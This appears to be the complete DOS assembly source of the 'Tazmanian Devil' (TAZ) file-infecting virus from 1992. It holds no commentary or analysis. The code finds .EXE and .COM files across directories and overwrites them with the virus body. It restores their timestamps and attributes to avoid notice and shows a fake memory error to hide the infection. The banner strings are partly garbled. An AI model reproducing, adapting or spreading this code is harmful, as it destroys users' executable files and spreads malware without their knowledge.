cr equ 13 ; Carriage return ASCII code lf equ 10 ; Linefeed ASCII code tab equ 9 ; Tab ASCII code virus_size equ 562 ; Size of the virus file code_start equ 100h ; Address right after PSP in memory dta equ 80h ; Addr of default disk transfer area datestamp equ 24 ; Offset in DTA of file's date stamp timestamp equ 22 ; Offset in DTA of file's time stamp filename equ 30 ; Offset in DTA of ASCIIZ filename attribute equ 21 ; Offset in DTA of file attribute code segment 'code' ; Open code segment assume cs:code,ds:code ; One segment for both code & data org code_start ; Start code image after PSP main proc near ; Code execution begins here jmp random_mutation ; Put the virus into action encrypt_val db 00h ; Hold value to encrypt by here infect_file: mov bx,handle ; Get the handle push bx ; Save it on the stack pop bx ; Get back the handle mov cx,virus_size ; Total number of bytes to write mov dx,code_start ; Buffer where code starts in memory mov ah,40h ; DOS write-to-handle service int 21h ; Write the virus code into the file ret ; Go back to where you came from virus_code: exe_filespec db "*.EXE",0 com_filespec db "*.COM",0 newdir db "..",0 fake_msg db cr,lf,"Error #2307 - Too big to fit in memory$" virus_msg1 db cr,lf,tab," ��������� $" virus_msg2 db cr,lf,tab," �������������� $" virus_msg3 db cr,lf,tab," �� ��� �������������� ����� �� ����� $" virus_msg4 db cr,lf,tab," ���������������� ������������ � � � � $" virus_msg5 db cr,lf,tab," ������������ �� �������� ������ � ���� � $" virus_msg6 db cr,lf,tab," ���������� �� ���������� ����� � � � � � $" virus_msg7 db cr,lf,tab," � ������� ��� ������ ������������� � � � ����� $" virus_msg8 db cr,lf,tab," ������ ��������� �������������� ���������� $" virus_msg9 db cr,lf,tab," ����� �� ������� �������� ������ ����������� $" virus_msg10 db cr,lf,tab," ������� �� ������ ���� �� ������� ������������� $" virus_msg11 db cr,lf,tab," ��������� �� ����� ������������������ ����������� $" virus_msg12 db cr,lf,tab," �������� �� ���� �������������� �� �������������� $" virus_msg13 db cr,lf,tab," ���������� ������ ����� ������ ��� �� ��������� $" virus_msg14 db cr,lf,tab," �������� ��������������� ������ �������� $" virus_msg15 db cr,lf,tab," ������������ ����������� ������ $" virus_msg16 db cr,lf,tab," ��������� ���������� �������� $" virus_msg17 db cr,lf,tab," ������� ������ ������� �������� $" virus_msg18 db cr,lf,tab," ���������������������� �������������������� $" virus_msg19 db cr,lf,tab,"������������������������� ����������������������� $" virus_msg20 db cr,lf,tab," ����������������������� ��������������������� $" virus_msg21 db cr,lf,tab," �� ������������ ������������� ��� $" virus_msg22 db cr,lf,tab,"The Tazmanian Devil Virus (TAZ!) - Released 12-14-1992 - Sector Infector $" compare_buf db 20 dup (?) ; Buffer to compare files in files_found db ? files_infected db ? orig_time dw ? orig_date dw ? orig_attr dw ? handle dw ? success db ? random_mutation: ; First decide if virus is to mutate mov ah,2ch ; Set up DOS function to get time int 21h cmp encrypt_val,0 ; Is this a first-run virus copy? je install_val ; If so, install whatever you get. cmp dh,15 ; Is it less than 16 seconds? jg find_extension ; If not, don't mutate this time install_val: cmp dl,0 ; Will we be encrypting using zero? je random_mutation ; If so, get a new value. mov encrypt_val,dl ; Otherwise, save the new value find_extension: ; Locate file w/ valid extension mov files_found,0 ; Count infected files found mov files_infected,4 ; BX counts file infected so far mov success,0 find_exe: mov cx,00100111b ; Look for all flat file attributes mov dx,offset exe_filespec ; Check for .EXE extension first mov ah,4eh ; Call DOS find first service int 21h cmp ax,12h ; Are no files found? je find_com ; If not, nothing more to do call find_healthy ; Otherwise, try to find healthy .EXE find_com: mov cx,00100111b ; Look for all flat file attributes mov dx,offset com_filespec ; Check for .COM extension now mov ah,4eh ; Call DOS find first service int 21h cmp ax,12h ; Are no files found? je chdir ; If not, step back a directory call find_healthy ; Otherwise, try to find healthy .COM chdir: ; Routine to step back one level mov dx,offset newdir ; Load DX with address of pathname mov ah,3bh ; Change directory DOS service int 21h dec files_infected ; This counts as infecting a file jnz find_exe ; If we're still rolling, find another jmp exit_virus ; Otherwise let's pack it up find_healthy: mov bx,dta ; Point BX to address of DTA mov ax,[bx]+attribute ; Get the current file's attribute mov orig_attr,ax ; Save it mov ax,[bx]+timestamp ; Get the current file's time stamp mov orig_time,ax ; Save it mov ax,[bx]+datestamp ; Get the current file's data stamp mov orig_date,ax ; Save it mov dx,dta+filename ; Get the filename to change attribute mov cx,0 ; Clear all attribute bytes mov al,1 ; Set attribute sub-function mov ah,43h ; Call DOS service to do it int 21h mov al,2 ; Set up to open handle for read/write mov ah,3dh ; Open file handle DOS service int 21h mov handle,ax ; Save the file handle mov bx,ax ; Transfer the handle to BX for read mov cx,20 ; Read in the top 20 bytes of file mov dx,offset compare_buf ; Use the small buffer up top mov ah,3fh ; DOS read-from-handle service int 21h mov bx,offset compare_buf ; Adjust the encryption value mov ah,encrypt_val ; for accurate comparison mov [bx+6],ah mov si,code_start ; One array to compare is this file mov di,offset compare_buf ; The other array is the buffer mov ax,ds ; Transfer the DS register... mov es,ax ; ...to the ES register cld repe cmpsb ; Compare the buffer to the virus jne healthy ; If different, the file is healthy! call close_file ; Close it up otherwise inc files_found ; Chalk up another fucked up file continue_search: mov ah,4fh ; Find next DOS function int 21h ; Try to find another same type file cmp ax,12h ; Are there any more files? je no_more_found ; If not, get outta here jmp find_healthy ; If so, try the process on this one! no_more_found: ret ; Go back to where we came from healthy: mov bx,handle ; Get the file handle mov ah,3eh ; Close it for now int 21h mov ah,3dh ; Open it again, to reset it mov dx,dta+filename mov al,2 int 21h mov handle,ax ; Save the handle again call infect_file ; Infect the healthy file call close_file ; Close down this operation inc success ; Indicate we did something this time dec files_infected ; Scratch off another file on agenda jz exit_virus ; If we're through, terminate jmp continue_search ; Otherwise, try another ret close_file: mov bx,handle ; Get the file handle off the stack mov cx,orig_time ; Get the date stamp mov dx,orig_date ; Get the time stamp mov al,1 ; Set file date/time sub-service mov ah,57h ; Get/Set file date and time service int 21h ; Call DOS mov bx,handle mov ah,3eh ; Close handle DOS service int 21h mov cx,orig_attr ; Get the file's original attribute mov al,1 ; Instruct DOS to put it back there mov dx,dta+filename ; Feed it the filename mov ah,43h ; Call DOS int 21h ret exit_virus: cmp files_found,16 ; Are at least 16 files infected? jl print_fake ; If not, keep a low profile cmp success,0 ; Did we infect anything? jg print_fake ; If so, cover it up mov ah,09h ; Use DOS print string service mov dx,offset virus_msg1 ; Load the address of the first line int 21h ; Print it mov dx,offset virus_msg2 ; Load the second line int 21h ; (etc) mov dx,offset virus_msg3 int 21h mov dx,offset virus_msg4 int 21h mov dx,offset virus_msg5 int 21h mov dx,offset virus_msg6 int 21h mov dx,offset virus_msg7 int 21h mov dx,offset virus_msg8 int 21h mov dx,offset virus_msg9 int 21h mov dx,offset virus_msg10 int 21h mov dx,offset virus_msg11 int 21h mov dx,offset virus_msg12 int 21h mov dx,offset virus_msg13 int 21h mov dx,offset virus_msg14 int 21h mov dx,offset virus_msg15 int 21h mov dx,offset virus_msg16 int 21h mov dx,offset virus_msg17 int 21h mov dx,offset virus_msg18 int 21h mov dx,offset virus_msg19 int 21h mov dx,offset virus_msg20 int 21h jmp terminate print_fake: mov ah,09h ; Use DOS to print fake error message mov dx,offset fake_msg int 21h terminate: mov ah,4ch ; DOS terminate process function int 21h ; Call DOS to get out of this program filler db 8 dup (90h) ; Pad out the file length to 666 bytes main endp code ends end main